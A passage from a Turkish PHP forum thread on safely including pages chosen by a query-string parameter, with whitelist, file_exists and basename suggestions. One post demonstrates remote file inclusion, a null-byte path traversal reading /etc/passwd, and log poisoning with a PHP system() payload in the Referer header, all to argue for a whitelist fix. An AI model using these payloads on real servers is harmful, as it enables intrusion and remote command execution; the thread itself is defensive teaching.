+ Yanıtla
Sayfa Düzeni: 3 / 4
İlkİlk 1 2 3 4 SonSon
Toplam 32 sonuçtan 21 ile 30 arası olanlar

Konu Başlığı: Çok Temel Bir PHP Sorusu (Resimli Anlatım)

  1. #21

    Re: Çok Temel Bir PHP Sorusu (Resimli Anlatım)

    Alıntı kArA tarafından gönderilen mesaj: Mesajı Göster
    Querystring ile gönderilen değerleri kontrol etmeden kullanırsanız güvenlik sorunları ile karşılaşabilirsiniz. Kötü niyetli kişiler index.PHP?sayfa=http://www.kotusite.com/kotusayfa.PHP şeklinde kendi kodlarını sitenizde çalıştırabilir.

    Şöyle bir kontrol yapabilirsiniz

    PHP Kodu:
    <?PHP
    $sayfa 
    "default";
    $sayfalar = array("default""haber_ekle""haber_sil");
    if(
    array_search($sayfalar$_GET["sayfa"]) === True)
       
    $sayfa $_GET["sayfa"];
    include 
    'pages/'.$sayfa.'.PHP'
    ?>
    Böylece ön tanımlı $sayfalar dizisinde sayfa mevcut ise dahil edilmiş olur, eğer dizi içerisinde querystringden gelen değer bulunamazsa o zaman $sayfa değişkeninin ilk değeri olan default.PHP sayfasına yönlendirilmiş olur.
    Mekanizma geliştirilebilir, iş yerinde olduğum ve vaktim kısıtlı olduğu için etraflıca düşünemedim.
    Peki bu durumda eklediğimiz her sayfayı array in içine eklememiz mi lazım olacak. Ben öteki yöntemde sadece linke index.PHP?sayfa=icerik girip icerik.PHP sayfasını da hazırladığımda otomatik olarak siteyi görüyordu. Bunda ise her oluşturduğumuz sayfayı index.PHP deki array dizisine eklememiz gerekecek doğru mu?

  2. #22

    Re: Çok Temel Bir PHP Sorusu (Resimli Anlatım)

    Alıntı kArA tarafından gönderilen mesaj: Mesajı Göster

    PHP Kodu:
    <?PHP
    $sayfa 
    "default";
    $sayfalar = array("default""haber_ekle""haber_sil");
    if(
    array_search($sayfalar$_GET["sayfa"]) === True)
       
    $sayfa $_GET["sayfa"];
    include 
    'pages/'.$sayfa.'.PHP'
    ?>

    Bu arada üstteki işlemi yaptığımda "
    Warning: array_search(): Wrong datatype for second argument in D:\Home\siteadi.com\httpdocs\beta\Index.PHP on line 281
    " şeklinde bir hata verdi..

  3. #23

    Re: Çok Temel Bir PHP Sorusu (Resimli Anlatım)

    Bir array'in içinden kontrol etmek yerine örneğin include klasöründe aranan dosyanın olup olmadığını denetlemek daha iyi bir yöntem bence.

  4. #24

    Re: Çok Temel Bir PHP Sorusu (Resimli Anlatım)

    Alıntı David Wenham tarafından gönderilen mesaj: Mesajı Göster
    Bu arada üstteki işlemi yaptığımda "
    Warning: array_search(): Wrong datatype for second argument in D:\Home\siteadi.com\httpdocs\beta\Index.PHP on line 281
    " şeklinde bir hata verdi..
    Hatanın sebebi array_search fonksiyonuna argümanları yanlış sıra ile vermiş olmam. Doğrusu şu şekilde olacak:

    PHP Kodu:
    <?PHP
    $sayfa 
    "default";
    $sayfalar = array("default""haber_ekle""haber_sil");
    if(
    array_search($_GET["sayfa"], $sayfalar) === True)
       
    $sayfa $_GET["sayfa"];
    include 
    'pages/'.$sayfa.'.PHP'
    ?>
    Ayrıca BYK'nın önerisi de güvenliği bir adım ileri taşır. Daha şık olur.

  5. #25

    Re: Çok Temel Bir PHP Sorusu (Resimli Anlatım)

    Alıntı BYK tarafından gönderilen mesaj: Mesajı Göster
    Bir array'in içinden kontrol etmek yerine örneğin include klasöründe aranan dosyanın olup olmadığını denetlemek daha iyi bir yöntem bence.

    Bunu nasıl yapabiliriz PHP ile?

  6. #26

    Re: Çok Temel Bir PHP Sorusu (Resimli Anlatım)

    PHP Kodu:
    if (file_exists($dosya_adi))
      include(
    $dosya_adi);
    else
      include(
    '404.htm'); 
    Şeklinde bir kullanım işini görecektir sanırım.

    Not: array de aslında güvenli bir yöntem bence ancak ben siteye yeni içerik/sayfa eklediğimde ana kodunu değiştirmeyi ve yine ana kodun bu tarz sabit değerlerle şişmesini sevmiyorum. Biraz da tercih meselesi yani

  7. #27

    Re: Çok Temel Bir PHP Sorusu (Resimli Anlatım)

    file_exists aloow_url_foen ın açık olduğu sunucularda uzaktaki dosyların varlığını kotrol edebileceği için ciddi sorunlara neden olabilir (Bakınız XSS) ayrıca sunucuda şifre dosyları gibi include edilmesi istenmeyen dosyaların da siteye çağrılması sağlanabilir, yüklenecek sayfaları bir diziye atmak (beyaz liste yöntemi) bu sorunlar çözmek için en güvenli yoldur.

    Yine de bu yöntemi kullanmak istemezseniz, basename() fonksityonu ile gelen dosyanın ismini belirleyerek bildiğiniz dizinden yükleme yapabilirsiniz, bu kötü niyetli kişilerin sizin istemediğiniz dosyları include etme olasılığını oldukça azaltır.
    PHP Kodu:
        if($_GET['module']) 
        {
       
    $dir "include_edilecek_dosyalar/";
       
    $ext ".PHP";
       
    $page $dir.basename(strval($_GET['module']),$ext).$ext;
               if(
    is_file($page)) 
            {
                   include(
    $page);
            }        
                                              else echo 
    "dosya bulunamadı";        
        } 

  8. #28

    Re: Çok Temel Bir PHP Sorusu (Resimli Anlatım)

    meteryus'un belirttiği şeyi yazmayı unutmuşum ben de. Sistem olarak tam da onun yazdığı kod gibi bir şey kullanıyoruz kendi sitemizde de.

    Teşekkürler uyarı için

  9. #29

    Re: Çok Temel Bir PHP Sorusu (Resimli Anlatım)

    Son zamanlarda PHP ile yazılmış sistemlerde en çok görülen güvenlik problemlerinden biri Remote File Include “uzaktan kod/dosya çalıştırma” saldırıları.

    Genelde, modüler bir yapı uğruna şu çeşit kodları görebilmek mümkün;

    Kod:
    <?
    include $_GET["sayfa"];
    ?>
    Aslında, gayet basit ve işe yarar bir kod gibi görünse de artık hemen hemen her PHP programcısının bildiği gibi saldıranlar açısından pek iyi bir kod değil.

    Örnek saldırı: index.PHP?sayfa=http://uzaktakisunucu.com/saldiran_dosya.txt

    Saldırıları önlemek amacıyla birçok forumda/platformda çeşitli önlemler görüyorum. Fakat gerçekten güvenli çözüm göremedim desem yalan olur.

    Şimdi gelelim, güvenli olmayan güvenlik yaklaşımlarına;
    • Dosyaya path eklemek

    En yaygın sorunlardan bir tanesi. Include yolunun başına path ekleyince sorun olmayacakmış gibi geliyor web programcılarına;

    Örnek kod;
    Kod:
    <?
    include 'inc/'.$_GET["sayfa"].'.PHP';
    ?>
    Bu yaklaşımda güvenli değil. İlk önce local file include sonrasında da code execution saldırılarına yol açıyor.

    Nasıl olduğunu görelim;

    Örnek saldırı: index.PHP?sayfa=../../../../etc/passwd%00

    Evet bu şekilde yapılacak bir istekle, Linux sunucularda bulunan passwd dosyası ekrana basılacaktır.

    Büyük ihtimalle null byte’ı (%00) ilk defa görüyorsanız kafanız karıştı. Normalde sonuna uzantı ekliyoruz diye düşündünüz. Fakat PHP, C familyasından bir dildir. Ve değişkeni işlerken %20 karakterini gördüğü zaman durur, dolayısıyla sonuna inter-polation yardımıyla eklediğiniz uzantı işe yaramaz hale gelir.

    Bu durumda http_auth ile sakladığınız dizinlerin içerikleri görüntülenebilir, ve daha da tehlikesi sunucunuzda kod çalıştırılabilir.

    Hemen hemen her web sunucu gelen http isteklerini loglar ve bunu belirli bir dosyaya kaydeder. Örneğin, Access.log vardır apache’dir. Bu log dosyalarının makine üstündeki yerler bellidir.

    Ve yine http istekleri kullanıcı tarafından geldiği için suistimal edilebilir.

    Saldırıyı örnekleyelim hemen;
    1. HTTP_REFERER bilgisini <? echo system($_GET[“c”]); ?> şeklinde yolla ve siteye gir.
    2. local file include bulunan dosyaya, ?sayfa=../../../var/logs/access.log&c=ls –all
    şeklinde istek yap.

    Bu isteğin sonucunda çalışılan dizinin içeriği ekrana basılacaktır.

    ls –all yerine çok daha tehlikeli kodlar çalıştırılabilir.
    • file_exists();

    Alıntı BYK tarafından gönderilen mesaj: Mesajı Göster
    PHP Kodu:
    if (file_exists($dosya_adi))
      include(
    $dosya_adi);
    else
      include(
    '404.htm'); 
    Şeklinde bir kullanım işini görecektir sanırım.

    Not: array de aslında güvenli bir yöntem bence ancak ben siteye yeni içerik/sayfa eklediğimde ana kodunu değiştirmeyi ve yine ana kodun bu tarz sabit değerlerle şişmesini sevmiyorum. Biraz da tercih meselesi yani


    Öncelikle file_exists() yukarıdaki saldırılardan zaten etkilenecektir. Çünkü olmayan bir dosya include edilmiyor sonuçta. Fakat bunun yanında PHP5 ile birlikte file_exists(); http wrapper’lari da destekliyor. Dolayısıyla, uzaktaki sunucudaki dosyaları da kontrol edebiliyor. Manual sayfasına bakabilirseniz görürsünüz.

    Peki ya çözüm?

    Aslında çözüm gayet basit. Tam beyaz liste’lik iş. Örnek kod;

    Kod:
    <?
    
    
    $beyaz_liste = array('haberler','linkler','dosyalar'); # cogaltilabilir..
        
        if(in_array($_GET["sayfa"],$beyaz_liste)) {
            $do = $_GET["sayfa"];
        }
        else {
            $do = 'index'; # anasayfa her neyse..
        }
        include('inc/'.$do.'.PHP');
        
        
    ?>
    Bu kod her şeyi halledecektir. Fakat her dosyayı array’e atmak benim için zor diyorsanız, bunu otomatik olarakta yapabilirsiniz. Ornegin, scandir() fonksiyonu parametre olarak aldığı dizindeki dosyaları array olarak döndürür.

    Dip not: şu yazıdan sonra rahat 1 ay bir şey yazmam ben.

  10. #30

    Re: Çok Temel Bir PHP Sorusu (Resimli Anlatım)

    En sona koyduğun scandir() fonksiyonu olmadığı sürece beyaz liste uygulamasına kesinlikle karşıyım ancak çok güzel noktalara değinmişsin. Hem eline sağlık hem teşekkürler, ben şu scandir'i bir kullanayım hemen

+ Yanıtla
Sayfa Düzeni: 3 / 4
İlkİlk 1 2 3 4 SonSon

Bu konu başlığı için etiketler

Mesaj Seçenekleri

  • Yeni başlık açamazsınız
  • Cevap yazabilirsiniz
  • Dosya ekleyemezsiniz
  • Mesajlarınızı değiştiremezsiniz